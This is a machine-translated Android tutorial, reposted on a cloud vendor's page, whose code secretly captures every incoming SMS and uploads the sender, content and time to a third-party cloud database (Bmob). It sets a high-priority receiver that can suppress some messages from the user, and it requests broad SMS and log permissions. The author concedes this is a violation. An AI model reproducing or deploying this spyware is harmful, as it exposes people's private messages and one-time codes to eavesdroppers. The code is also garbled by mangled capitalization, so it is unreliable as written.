Android Combat Simple Tutorial-the 40th gun (eavesdropping on the cloud SMS monitoring)

Source: Internet
Author: User

In the near future to do the monitoring verification code SMS self-filled function, inadvertently thought of a message monitoring method.

Disclaimer: SMS monitoring itself is a violation, here is only a description of the technical narrative. Please learn the technology can be. haha

This example is based on the background service provided by Bmob, and the text messages that are heard are actively uploaded to the Bmob database.

One, the code implementation: 1. First implement the JavaBean object.

Package Com.example.messagecut;import Cn.bmob.v3.bmobobject;public class Msgcontent extends Bmobobject  {private String Form;private string Content;private string Time;public string GetForm () {return form;} public void Setform (String form) {this.form = form;} Public String getcontent () {return content;} public void SetContent (String content) {this.content = content;} Public String GetTime () {return time;} public void SetTime (String time) {this.time = time;}}

2.mainactivity.java:
Package Com.example.messagecut;import Com.example.messagecut.smsbroadcastreceiver.messagelistener;import Android.app.activity;import android.os.bundle;import Cn.bmob.v3.bmob;import cn.bmob.v3.listener.savelistener;/** * Demo Description: Use Broadcastreceiver to realize listening SMS * * NOTE permission: <uses-permission android:name= "Android.permission.RECEIVE_SMS"/> * * * */public class Mainactivity extends Activity {private smsbroadcastreceiver msmsbroadcastreceiver;private String mes Sage; @Overrideprotected void OnCreate (Bundle savedinstancestate) {super.oncreate (savedinstancestate); Setcontentview (R.layout.activity_main); Bmob.initialize (This, "8f3ffb2658d8a3366a70a0b0ca0b71b2"); msmsbroadcastreceiver = new Smsbroadcastreceiver (); Msmsbroadcastreceiver.setonreceivedmessagelistener (New MessageListener () {public void onreceived (String message) { String[] Msg=message.split (","); Msgcontent msgcontent=new msgcontent (); Msgcontent.setform (msg[0]); Msgcontent.setcontent (msg[1]); Msgcontent.settime (msg[2]); Msgcontent.save (mainactIvity.this, New Savelistener () {@Overridepublic void onsuccess () {//upload succeeded} @Overridepublic void onfailure (int arg0, String arg1) {}});}}

3.smsbroadcastreceiver.java:
Package Com.example.messagecut;import Java.text.simpledateformat;import Java.util.date;import Android.content.broadcastreceiver;import Android.content.context;import Android.content.intent;import android.telephony.smsmessage;/** * Configure broadcast recipient: <receiver android:name= ". Smsbroadcastreceiver "> <intent-filter * android:priority=" + "> <action android:name= *" Android.provider.Telephony.SMS_RECEIVED "/> </intent-filter> </receiver> * * Note: <intent-filter android:priority= > means: Set this broadcast receiver to the highest */public class Smsbroadcastreceiver extends Broadcastreceiver {private Static MessageListener Mmessagelistener;public Smsbroadcastreceiver () {super ();} @Overridepublic void OnReceive (context context, Intent Intent) {object[] PDUs = (object[]) Intent.getextras (). Get ("PDUs" ); for (Object Pdu:pdus) {smsmessage smsmessage = SMSMESSAGE.CREATEFROMPDU ((byte[]) PDU); String sender = Smsmessage.getdisplayoriginatingaddress (); String content = Smsmessage.getmessagebody (); Long date = Smsmessage.gettimestampmillis ();D ate timedate = new Date (date); SimpleDateFormat SimpleDateFormat = new SimpleDateFormat ("Yyyy-mm-dd HH:mm:ss"); String time = Simpledateformat.format (timedate); SYSTEM.OUT.PRINTLN ("SMS from:" + sender); SYSTEM.OUT.PRINTLN ("SMS content:" + content); SYSTEM.OUT.PRINTLN ("SMS:" + time); mmessagelistener.onreceived (sender + "," + Content + "," + Time ");//Assume that the text message comes from 5556 and no longer passes down I F ("5556". Equals (Sender)) {System.out.println ("abort"); Abortbroadcast ();}}} Callback interface public interface MessageListener {public void onreceived (String message); public void Setonreceivedmessagelistener (MessageListener messagelistener) {this.mmessagelistener = MessageListener;}}

4. configuration file Androidmanifest.xml:
<?xml version= "1.0" encoding= "Utf-8"?

><manifest xmlns:android= "http://schemas.android.com/apk/res/android" package= "Com.example.messagecut" Android:versioncode= "1" android:versionname= "1.0" > <uses-sdk android:minsdkversion= "8" Android: targetsdkversion= "/> <application android:allowbackup=" true "android:icon=" @drawable/ic_launche R "android:label=" @string/app_name "android:theme=" @style/apptheme "> <activity Android Oid:name= ". Mainactivity "android:label=" @string/app_name "> <intent-filter> <action Android:name= "Android.intent.action.MAIN"/> <category android:name= "Android.intent.category.LAUNCHER "/> </intent-filter> </activity> <receiver android:name=". Smsbroadcastreceiver "> <intent-filter> <action android:name=" Android.provider.Telep Hony.sms_received "/> </intent-filter> </receiver> </application> <!--send SMS-<uses-permission android: Name= "Android.permission.SEND_SMS"/> <!--reading messages-<uses-permission android:name= "Android.permission.RE Ad_sms "/> <!--write message-<uses-permission android:name=" Android.permission.WRITE_SMS "/> <!-- Receive Message-<uses-permission android:name= "Android.permission.RECEIVE_SMS"/> <uses-permission android:name= "Android.permission.INTERNET"/> <uses-permission android:name= "Android.permission.ACCESS_WIFI_STATE"/> & Lt;uses-permission android:name= "Android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name= " Android.permission.READ_PHONE_STATE "/> <uses-permission android:name=" android.permission.WRITE_EXTERNAL_ STORAGE "/> <uses-permission android:name=" Android.permission.READ_LOGS "/></manifest>



This example should use the knowledge of bmob. Have not understood can participate in my article "Android Combat simple Tutorial-22nd gun (based on Baas user registration function)" Second, the execution instance, and then use a mobile phone to send a text message to test the phone, then you will see in the background database such a message, such as the following:


So our SMS monitoring will be realized! And a lot of other listening. Next study.

Favorite friends pay attention to me!

Android Combat Simple Tutorial-the 40th gun (eavesdropping on the cloud SMS monitoring)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.